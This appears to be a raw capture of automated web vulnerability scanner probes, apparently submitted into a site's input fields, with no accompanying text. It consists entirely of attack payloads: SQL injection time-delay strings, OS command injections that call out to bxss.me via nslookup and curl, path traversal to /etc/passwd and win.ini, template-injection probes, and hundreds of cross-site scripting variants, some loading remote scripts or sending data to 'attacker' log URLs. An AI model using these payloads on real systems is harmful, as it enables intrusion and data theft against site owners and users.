dfb{{98991*97996}}xca

"+response.write(9679203*9675919)+"

555uStGXFTO')) OR 558=(SELECT 558 FROM PG_SLEEP(15))--

|echo nyrwgf$()\ lhxfmg\nz^xyu||a #' |echo nyrwgf$()\ lhxfmg\nz^xyu||a #|" |echo nyrwgf$()\ lhxfmg\nz^xyu||a #

555<body onload=YNdj(9774)>

555|echo iggtwz$()\ veikdc\nz^xyu||a #' |echo iggtwz$()\ veikdc\nz^xyu||a #|" |echo iggtwz$()\ veikdc\nz^xyu||a #

dfb{98991*97996}xca

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

198991*97996*98991*97996

555<img src=//xss.bxss.me/t/dot.gif onload=YNdj(9773)>

(nslookup -q=cname hithyulatmbsqe0076.bxss.me||curl hithyulatmbsqe0076.bxss.me))

555

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555'"

$(nslookup -q=cname hitdbbfyeside233a5.bxss.me||curl hitdbbfyeside233a5.bxss.me)

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb${98991*97996}xca

../../../../../../../../../../../../../../etc/passwd

m10S2HEB

GIsVI3qb: c1yAQbak

555<img src=xyz OnErRor=YNdj(9735)>

555

555\xc0\xa7\xc0\xa2%2527%2522\'\"

1}}}dfb{{{this}}}xca

../../../../../../../../../../../../../../windows/win.ini

&nslookup -q=cname hittbnanwkqcz8ccb1.bxss.me&'\"`0&nslookup -q=cname hittbnanwkqcz8ccb1.bxss.me&`'

@@YgUyC

555

file:///etc/passwd

dfb#{98991*97996}xca

555

555

&(nslookup -q=cname hitmuycnmjznnb1a73.bxss.me||curl hitmuycnmjznnb1a73.bxss.me)&'\"`0&(nslookup -q=cname hitmuycnmjznnb1a73.bxss.me||curl hitmuycnmjznnb1a73.bxss.me)&`'

|(nslookup -q=cname hitcdthdysptreac08.bxss.me||curl hitcdthdysptreac08.bxss.me)

555

1}}}dfb{{{this}}}xca

12345'"\'\")

../555

1}#{98991*97996*98991*97996}

555

`(nslookup -q=cname hitfwhpcukmsv3eb28.bxss.me||curl hitfwhpcukmsv3eb28.bxss.me)`

555

555

555<img/src=">" onerror=alert(9584)>

dfb{#98991*97996}xca

1}#{98991*97996*98991*97996}

555

555

1}dfb#{xca}=123

555<esi:include src="http://bxss.me/rpb.png"/>

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%4E%64%6A%289152%29%3C%2F%73%43%72%69%70%54%3E

555

555

|(nslookup${IFS}-q${IFS}cname${IFS}hithimwvzcmoq0c1e3.bxss.me||curl${IFS}hithimwvzcmoq0c1e3.bxss.me)

555

&(nslookup${IFS}-q${IFS}cname${IFS}hithkxokcqhud2677b.bxss.me||curl${IFS}hithkxokcqhud2677b.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hithkxokcqhud2677b.bxss.me||curl${IFS}hithkxokcqhud2677b.bxss.me)&`'

555

555

555

555

dfb{@98991*97996}xca

555

${10000136+10000124}

1}}dfb{{'abcd'.toUpperCase()}}xca

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

1}dfb#{xca}=123

555

Http://bxss.me/t/fit.txt

555\u003CScRiPt\YNdj(9007)\u003C/sCripT\u003E

555

555

555

http://bxss.me/t/fit.txt?.jpg

555

dfb{{=98991*97996}}xca

555

555

555

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

/etc/shells

1}}dfb{{'abcd'.toUpperCase()}}xca

555&n968111=v941687

555&lt

555

)

555

555

../../../../../../../../../../../../../../etc/shells

555

555

555

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb@(98991*97996)xca

!(()&&!|*|*|

c:/windows/win.ini

^(#$!@#$)(()))******

1}}dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=YNdj(95921) //\xf6>

555

'"()

555

bxss.me

555

555

555'&&sleep(27*1000)*vyunxp&&'

1}}dfb{{98991*97996}}xca

dfb<%=98991*97996%>xca

555

555

1}dfb[[${98991*97996}]]xca

555

555

555"&&sleep(27*1000)*hodvml&&"

555

555

555

555'||sleep(27*1000)*xnqbxb||'

555<input autofocus onfocus=YNdj(9169)>

555

dfb#set($x=98991*97996)${x}xca

555

555

1}dfb[[${98991*97996}]]xca

555

555

555"||sleep(27*1000)*nnuoay||"

1dfb__${98991*97996}__::.x

555

'.gethostbyname(lc('hitge'.'npwldhmy96af1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(73).chr(97).chr(79).'

555

'

555

<a HrEF=http://xss.bxss.me></a>

555

555

555

HttP://bxss.me/t/xss.html?%00

1dfb__${98991*97996}__::.x

555

".gethostbyname(lc("hitxl"."ycvnivne78057.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(84).chr(114).chr(87)."

"

dfb{{"abc"|title}}xca

555

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555

555

bxss.me/t/xss.html?%00

555

${@print(md5(31337))}

gethostbyname(lc('hitqg'.'evptolaoc4d97.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(65).chr(100).chr(89)

555

"+"A".concat(70-3).concat(22*4).concat(108).concat(90).concat(110).concat(68)+(require"socket" Socket.gethostbyname("hithl"+"ubrkxwlldf720.bxss.me.")[3].to_s)+"

555

555

<a HrEF=jaVaScRiPT:>

555

${@print(md5(31337))}\

555

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'+'A'.concat(70-3).concat(22*4).concat(102).concat(76).concat(110).concat(73)+(require'socket' Socket.gethostbyname('hitfu'+'bzdwxkgwc48c7.bxss.me.')[3].to_s)+'

555

555

555

555<ScRiPt >hJit(9796)</ScRiPt>

print("dfb" . 98991*97996 . "xca")

'.print(md5(31337)).'

comments

'A'.concat(70-3).concat(22*4).concat(110).concat(90).concat(111).concat(72)+(require'socket' Socket.gethostbyname('hitvu'+'lmkfhzzbb5871.bxss.me.')[3].to_s)

comments

555

555

555

555

555<WPDLCY>SJAWW[!+!]</WPDLCY>

555

555

comments/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555}body{zzz:Expre/**/SSion(YNdj(9054))}

555

555<ScRiPt >gjtt(9498)</ScRiPt>

555

555

xfs.bxss.me

555

'"

555

555

555

<!--

98991*97996*98991*97996

555

555

555'"()&%<zzz><ScRiPt >ytzO(9026)</ScRiPt>

555<script>hJit(9676)</script>

555

555

555

555

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<WN7BM3>BVJE7[!+!]</WN7BM3>

555sS6SJ <ScRiPt >YNdj(9714)</ScRiPt>

'"()&%<zzz><ScRiPt >ytzO(9915)</ScRiPt>

555

555

555<script>hJit(9926)</script>9926

5559053684

555

555

555<script>gjtt(9948)</script>

555<WYLZ19>JHXO0[!+!]</WYLZ19>

dfb{{{this}}}xca

555

555<ScR<ScRiPt>IpT>hJit(9785)</sCr<ScRiPt>IpT>

555

555<ifRAme sRc=9528.com></IfRamE>

555'"()&%<zzz><ScRiPt >QNRw(9473)</ScRiPt>

555'"()&%<zzz><ScRiPt >uDit(9196)</ScRiPt>

555<script>gjtt(9067)</script>9067

#{98991*97996*98991*97996}

555'"()&%<zzz><ScRiPt >AyVW(9276)</ScRiPt>

555<ScRiPt >hJit(9904)</ScRiPt>

555'"()&%<zzz><ScRiPt >1h7F(9035)</ScRiPt>

555<axBNSM6 x=9488>

555<ScR<ScRiPt>IpT>gjtt(9918)</sCr<ScRiPt>IpT>

'"()&%<zzz><ScRiPt >QNRw(9394)</ScRiPt>

'"()&%<zzz><ScRiPt >uDit(9891)</ScRiPt>

dfb#{xca}=123

'"()&%<zzz><ScRiPt >AyVW(9722)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9044></ScRiPt>

555<ScRiPt >gjtt(9586)</ScRiPt>

'"()&%<zzz><ScRiPt >1h7F(9552)</ScRiPt>

555<img sRc='http://attacker-9676/log.php?

5559964724

5559835089

555<ScRiPt >hJit(9392)</ScRiPt>

5559184517

dfb{{'abcd'.toUpperCase()}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9356></ScRiPt>

555<aAfzYLZ<

bfg8050\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8050

555<svg  \xa0onload=hJit(9526)

5559213433

bfg8252\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8252

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

bfgx7698\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7698

bfgx7029\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7029

bfg4868\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4868

555<ScRiPt >gjtt(9510)</ScRiPt>

bfg7036\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7036

555<isindex type=image src=1 onerror=hJit(9389)>

dfb{{98991*97996}}xca

bfgx6976\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6976

555<svg  \xa0onload=gjtt(9982)

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

bfgx6304\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6304

555

555

555<isindex type=image src=1 onerror=gjtt(9124)>

dfb[[${98991*97996}]]xca

<%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<iframe src='data:text/html

dfb__${98991*97996}__::.x

555

555<body onload=gjtt(9579)>

555<body onload=hJit(9551)>

555

555

555

555<img src=//xss.bxss.me/t/dot.gif onload=gjtt(9852)>

<th:t="${dfb}#foreach

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img src=//xss.bxss.me/t/dot.gif onload=hJit(9306)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<ScRiPt >71pw(9651)</ScRiPt>

555

555

555

555<img src=xyz OnErRor=hJit(9390)>

555<WVZ4DU>JAQRS[!+!]</WVZ4DU>

555<img src=xyz OnErRor=gjtt(9627)>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

555<img/src=">" onerror=alert(9367)>

555<img/src=">" onerror=alert(9784)>

555<script>71pw(9483)</script>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

dfb[[${98991*97996}]]xca

555<script>71pw(9801)</script>9801

%35%35%35%3C%53%63%52%69%50%74%20%3E%67%6A%74%74%289208%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

555

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%4A%69%74%289894%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

555\u003CScRiPt\hJit(9117)\u003C/sCripT\u003E

555\u003CScRiPt\gjtt(9159)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>71pw(9297)</sCr<ScRiPt>IpT>

dfb[[${98991*97996}]]xca

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb[[${98991*97996}]]xca

555<ScRiPt >71pw(9097)</ScRiPt>

dfb__${98991*97996}__::.x

555<ScRiPt >QNRw(9349)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9515></ScRiPt>

555<ScRiPt >uDit(9729)</ScRiPt>

555&lt

\xf6<img zzz onmouseover=hJit(93691) //\xf6>

555<W3AT0E>ZEQOC[!+!]</W3AT0E>

555<WROY2Q>TKRNY[!+!]</WROY2Q>

555<ScRiPt >71pw(9004)</ScRiPt>

\xf6<img zzz onmouseover=gjtt(93621) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=hJit(9199)>

dfb__${98991*97996}__::.x

555<input autofocus onfocus=gjtt(9475)>

555<ScRiPt >AyVW(9253)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<script>QNRw(9830)</script>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg  \xa0onload=71pw(9725)

555<script>uDit(9366)</script>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555<script>QNRw(9461)</script>9461

555<W7RZG0>IEKVU[!+!]</W7RZG0>

555<ScRiPt >1h7F(9049)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(hJit(9996))}

555<isindex type=image src=1 onerror=71pw(9958)>

555<ScR<ScRiPt>IpT>QNRw(9635)</sCr<ScRiPt>IpT>

555<script>AyVW(9348)</script>

555<WHL41A>Y24OV[!+!]</WHL41A>

555<script>uDit(9100)</script>9100

555yPInA <ScRiPt >hJit(9748)</ScRiPt>

555<iframe src='data:text/html

555<script>AyVW(9456)</script>9456

555}body{zzz:Expre/**/SSion(gjtt(9567))}

555<script>1h7F(9360)</script>

555<ScR<ScRiPt>IpT>uDit(9710)</sCr<ScRiPt>IpT>

555<ScRiPt >QNRw(9565)</ScRiPt>

555<WACLFY>ABA6D[!+!]</WACLFY>

555<ScR<ScRiPt>IpT>AyVW(9155)</sCr<ScRiPt>IpT>

555<body onload=71pw(9620)>

555<script>1h7F(9798)</script>9798

555sEud9 <ScRiPt >gjtt(9983)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9992></ScRiPt>

555<ifRAme sRc=9967.com></IfRamE>

555<ScRiPt >uDit(9639)</ScRiPt>

555<WI7V40>JNN9F[!+!]</WI7V40>

555<img src=//xss.bxss.me/t/dot.gif onload=71pw(9798)>

555<ScRiPt >AyVW(9611)</ScRiPt>

555<ScRiPt >QNRw(9979)</ScRiPt>

555<afuImm4 x=9315>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9443></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9483></ScRiPt>

555<ScR<ScRiPt>IpT>1h7F(9614)</sCr<ScRiPt>IpT>

555<img sRc='http://attacker-9216/log.php?

555<ifRAme sRc=9647.com></IfRamE>

555<svg  \xa0onload=QNRw(9262)

555<aXRYeG7 x=9629>

555<adIeTAE<

555'"()&%<zzz><ScRiPt >I1YE(9180)</ScRiPt>

555<ScRiPt >AyVW(9881)</ScRiPt>

555<img src=xyz OnErRor=71pw(9697)>

555<ScRiPt >uDit(9424)</ScRiPt>

555<img sRc='http://attacker-9629/log.php?

555<isindex type=image src=1 onerror=QNRw(9386)>

555<ScRiPt >1h7F(9293)</ScRiPt>

555'"()&%<zzz><ScRiPt >iGxu(9617)</ScRiPt>

555<svg  \xa0onload=AyVW(9283)

'"()&%<zzz><ScRiPt >I1YE(9726)</ScRiPt>

555<adTDAJT<

555<img/src=">" onerror=alert(9951)>

'"()&%<zzz><ScRiPt >iGxu(9008)</ScRiPt>

555<svg  \xa0onload=uDit(9690)

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9222></ScRiPt>

5559311787

555<ScRiPt >1h7F(9867)</ScRiPt>

555<isindex type=image src=1 onerror=AyVW(9020)>

555<isindex type=image src=1 onerror=uDit(9079)>

555<body onload=QNRw(9176)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%31%70%77%289627%29%3C%2F%73%43%72%69%70%54%3E

5559337967

555<iframe src='data:text/html

555<svg  \xa0onload=1h7F(9663)

bfg9006\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9006

555<img src=//xss.bxss.me/t/dot.gif onload=QNRw(9336)>

555<iframe src='data:text/html

bfg4725\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4725

555\u003CScRiPt\71pw(9618)\u003C/sCripT\u003E

555<body onload=AyVW(9796)>

555<body onload=uDit(9436)>

555<isindex type=image src=1 onerror=1h7F(9561)>

555<img src=xyz OnErRor=QNRw(9898)>

555<img/src=">" onerror=alert(9873)>

bfgx6498\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6498

555&lt

555'"()&%<zzz><ScRiPt >6yQa(9873)</ScRiPt>

bfgx9443\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9443

555'"()&%<zzz><ScRiPt >aOyF(9523)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=uDit(9610)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%51%4E%52%77%289842%29%3C%2F%73%43%72%69%70%54%3E

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=AyVW(9104)>

555'"()&%<zzz><ScRiPt >I8I7(9142)</ScRiPt>

'"()&%<zzz><ScRiPt >6yQa(9584)</ScRiPt>

<%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >aOyF(9408)</ScRiPt>

<%={{={@{#{${dfb}}%>

555\u003CScRiPt\QNRw(9402)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=71pw(96891) //\xf6>

555<img src=xyz OnErRor=uDit(9672)>

'"()&%<zzz><ScRiPt >I8I7(9856)</ScRiPt>

5559079199

555

555<body onload=1h7F(9283)>

5559942935

555<img src=xyz OnErRor=AyVW(9513)>

555

555<input autofocus onfocus=71pw(9947)>

bfg1767\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1767

555<img src=//xss.bxss.me/t/dot.gif onload=1h7F(9477)>

5559802169

555<img/src=">" onerror=alert(9085)>

555&lt

555<img/src=">" onerror=alert(9387)>

<a HrEF=http://xss.bxss.me></a>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

bfg2664\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2664

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=QNRw(96121) //\xf6>

bfg7004\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7004

555

555<img src=xyz OnErRor=1h7F(9639)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%75%44%69%74%289275%29%3C%2F%73%43%72%69%70%54%3E

bfgx10693\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10693

%35%35%35%3C%53%63%52%69%50%74%20%3E%41%79%56%57%289830%29%3C%2F%73%43%72%69%70%54%3E

555

555<input autofocus onfocus=QNRw(9257)>

bfgx7435\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7435

555}body{zzz:Expre/**/SSion(71pw(9175))}

bfgx4023\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4023

555\u003CScRiPt\uDit(9456)\u003C/sCripT\u003E

<%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555\u003CScRiPt\AyVW(9375)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9819)>

<a HrEF=http://xss.bxss.me></a>

555

<%={{={@{#{${dfb}}%>

555

5557uVCb <ScRiPt >71pw(9538)</ScRiPt>

<%={{={@{#{${dfb}}%>

555&lt

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%31%68%37%46%289857%29%3C%2F%73%43%72%69%70%54%3E

555

555&lt

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=uDit(99641) //\xf6>

555

555<WTE20S>7GMZK[!+!]</WTE20S>

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555}body{zzz:Expre/**/SSion(QNRw(9821))}

555<input autofocus onfocus=uDit(9605)>

555\u003CScRiPt\1h7F(9716)\u003C/sCripT\u003E

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

\xf6<img zzz onmouseover=AyVW(91151) //\xf6>

555<ifRAme sRc=9643.com></IfRamE>

<a HrEF=http://xss.bxss.me></a>

555

555<aX7Sj2c x=9244>

555&lt

dfb[[${98991*97996}]]xca

555

555GChCq <ScRiPt >QNRw(9774)</ScRiPt>

555

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=1h7F(91011) //\xf6>

555<input autofocus onfocus=AyVW(9005)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WROGQE>WXT2P[!+!]</WROGQE>

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

555<img sRc='http://attacker-9755/log.php?

555<ifRAme sRc=9756.com></IfRamE>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555}body{zzz:Expre/**/SSion(uDit(9295))}

<a HrEF=http://xss.bxss.me></a>

555<atIJiev x=9133>

555<input autofocus onfocus=1h7F(9071)>

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aQfmXgy<

555

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

555<ScRiPt >iGxu(9988)</ScRiPt>

dfb{{98991*97996}}xca

555<img sRc='http://attacker-9877/log.php?

<a HrEF=http://xss.bxss.me></a>

dfb{{98991*97996}}xca

555J3gKO <ScRiPt >uDit(9831)</ScRiPt>

dfb[[${98991*97996}]]xca

555}body{zzz:Expre/**/SSion(AyVW(9104))}

555<ScRiPt >I1YE(9304)</ScRiPt>

555'"()&%<zzz><ScRiPt >byK8(9850)</ScRiPt>

<a HrEF=jaVaScRiPT:>

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

555<WXPIJQ>YNK21[!+!]</WXPIJQ>

555<awzjJNP<

555<WVXU1T>HXLJG[!+!]</WVXU1T>

555TiEXi <ScRiPt >AyVW(9125)</ScRiPt>

'"()&%<zzz><ScRiPt >byK8(9926)</ScRiPt>

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

555<script>iGxu(9474)</script>

555<WKQZPT>FSCXG[!+!]</WKQZPT>

555}body{zzz:Expre/**/SSion(1h7F(9536))}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WWZTTE>QPWU9[!+!]</WWZTTE>

555<ifRAme sRc=9221.com></IfRamE>

5559461592

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>iGxu(9231)</script>9231

555<ifRAme sRc=9599.com></IfRamE>

555<script>I1YE(9051)</script>

555<ScRiPt >I8I7(9518)</ScRiPt>

555<a3jd6Mn x=9122>

555<ScRiPt >aOyF(9255)</ScRiPt>

bfg6498\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6498

555vNv9I <ScRiPt >1h7F(9480)</ScRiPt>

555<ScR<ScRiPt>IpT>iGxu(9599)</sCr<ScRiPt>IpT>

555<ScRiPt >6yQa(9247)</ScRiPt>

555<img sRc='http://attacker-9884/log.php?

bfgx1365\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1365

555<aRpUlkm x=9631>

555<WIKEVB>PHODI[!+!]</WIKEVB>

555<W7SBSP>HOXFS[!+!]</W7SBSP>

555<WKDVRU>5Y5VA[!+!]</WKDVRU>

555<script>I1YE(9593)</script>9593

555<WWPC22>B47AK[!+!]</WWPC22>

<%={{={@{#{${dfb}}%>

555<adDSgBF<

555<ScRiPt >iGxu(9335)</ScRiPt>

555<img sRc='http://attacker-9278/log.php?

555<script>aOyF(9225)</script>

555<ScR<ScRiPt>IpT>I1YE(9450)</sCr<ScRiPt>IpT>

555<script>6yQa(9686)</script>

555<script>I8I7(9973)</script>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9173></ScRiPt>

555<aB8SCge<

555<ifRAme sRc=9262.com></IfRamE>

555<script>aOyF(9290)</script>9290

555<script>6yQa(9661)</script>9661

<th:t="${dfb}#foreach

555<script>I8I7(9774)</script>9774

555<ScRiPt >I1YE(9493)</ScRiPt>

555

555<ScR<ScRiPt>IpT>aOyF(9370)</sCr<ScRiPt>IpT>

555<ScRiPt >iGxu(9948)</ScRiPt>

555<aA5f9Dz x=9517>

555'"()&%<zzz><ScRiPt >7o7a(9008)</ScRiPt>

dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>6yQa(9651)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>I8I7(9118)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9895></ScRiPt>

555<img sRc='http://attacker-9265/log.php?

'"()&%<zzz><ScRiPt >7o7a(9726)</ScRiPt>

555<svg  \xa0onload=iGxu(9333)

555<ScRiPt >I1YE(9801)</ScRiPt>

555<ScRiPt >aOyF(9203)</ScRiPt>

5559529131

555<ScRiPt >I8I7(9932)</ScRiPt>

555<svg  \xa0onload=I1YE(9601)

555<ScRiPt >6yQa(9068)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9867></ScRiPt>

555<aew5on9<

555<isindex type=image src=1 onerror=iGxu(9540)>

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9279></ScRiPt>

555<ScRiPt >aOyF(9899)</ScRiPt>

dfb{98991*97996}xca

555<isindex type=image src=1 onerror=I1YE(9418)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9239></ScRiPt>

555<iframe src='data:text/html

bfg9895\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9895

555<ScRiPt >6yQa(9324)</ScRiPt>

555<svg  \xa0onload=aOyF(9213)

bfgx2427\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2427

555<ScRiPt >I8I7(9758)</ScRiPt>

555<svg  \xa0onload=6yQa(9132)

dfb${98991*97996}xca

555<iframe src='data:text/html

555'"()&%<zzz><ScRiPt >ASKZ(9428)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<body onload=iGxu(9638)>

555<isindex type=image src=1 onerror=aOyF(9638)>

555<svg  \xa0onload=I8I7(9290)

555<isindex type=image src=1 onerror=6yQa(9888)>

'"()&%<zzz><ScRiPt >ASKZ(9572)</ScRiPt>

555

dfb#{98991*97996}xca

555<body onload=I1YE(9432)>

555<isindex type=image src=1 onerror=I8I7(9683)>

555<iframe src='data:text/html

5559933507

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=iGxu(9814)>

555<img src=//xss.bxss.me/t/dot.gif onload=I1YE(9451)>

dfb{#98991*97996}xca

555<iframe src='data:text/html

<th:t="${dfb}#foreach

555<body onload=aOyF(9765)>

555<body onload=6yQa(9974)>

555<img src=xyz OnErRor=iGxu(9292)>

bfg2338\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2338

555<img src=xyz OnErRor=I1YE(9345)>

dfb{@98991*97996}xca

bfgx5862\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5862

555<img/src=">" onerror=alert(9345)>

555<body onload=I8I7(9696)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=6yQa(9349)>

555<img/src=">" onerror=alert(9774)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%69%47%78%75%289365%29%3C%2F%73%43%72%69%70%54%3E

<%={{={@{#{${dfb}}%>

dfb{{=98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=aOyF(9804)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=I8I7(9288)>

555\u003CScRiPt\iGxu(9592)\u003C/sCripT\u003E

dfb@(98991*97996)xca

555<img src=xyz OnErRor=6yQa(9800)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%49%31%59%45%289787%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=aOyF(9290)>

555

555<img src=xyz OnErRor=I8I7(9621)>

555\u003CScRiPt\I1YE(9329)\u003C/sCripT\u003E

555&lt

555<img/src=">" onerror=alert(9253)>

555<img/src=">" onerror=alert(9208)>

555

\xf6<img zzz onmouseover=iGxu(93101) //\xf6>

dfb<%=98991*97996%>xca

<th:t="${dfb}#foreach

"}}dfb{{98991*97996}}xca

555&lt

555<img/src=">" onerror=alert(9115)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%61%4F%79%46%289366%29%3C%2F%73%43%72%69%70%54%3E

%35%35%35%3C%53%63%52%69%50%74%20%3E%36%79%51%61%289176%29%3C%2F%73%43%72%69%70%54%3E

dfb#set($x=98991*97996)${x}xca

"%}dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%49%38%49%37%289691%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\aOyF(9663)\u003C/sCripT\u003E

555

555<input autofocus onfocus=iGxu(9053)>

555\u003CScRiPt\6yQa(9982)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=I1YE(96371) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{"abc"|title}}xca

"}dfb{98991*97996}xca

555&lt

555\u003CScRiPt\I8I7(9129)\u003C/sCripT\u003E

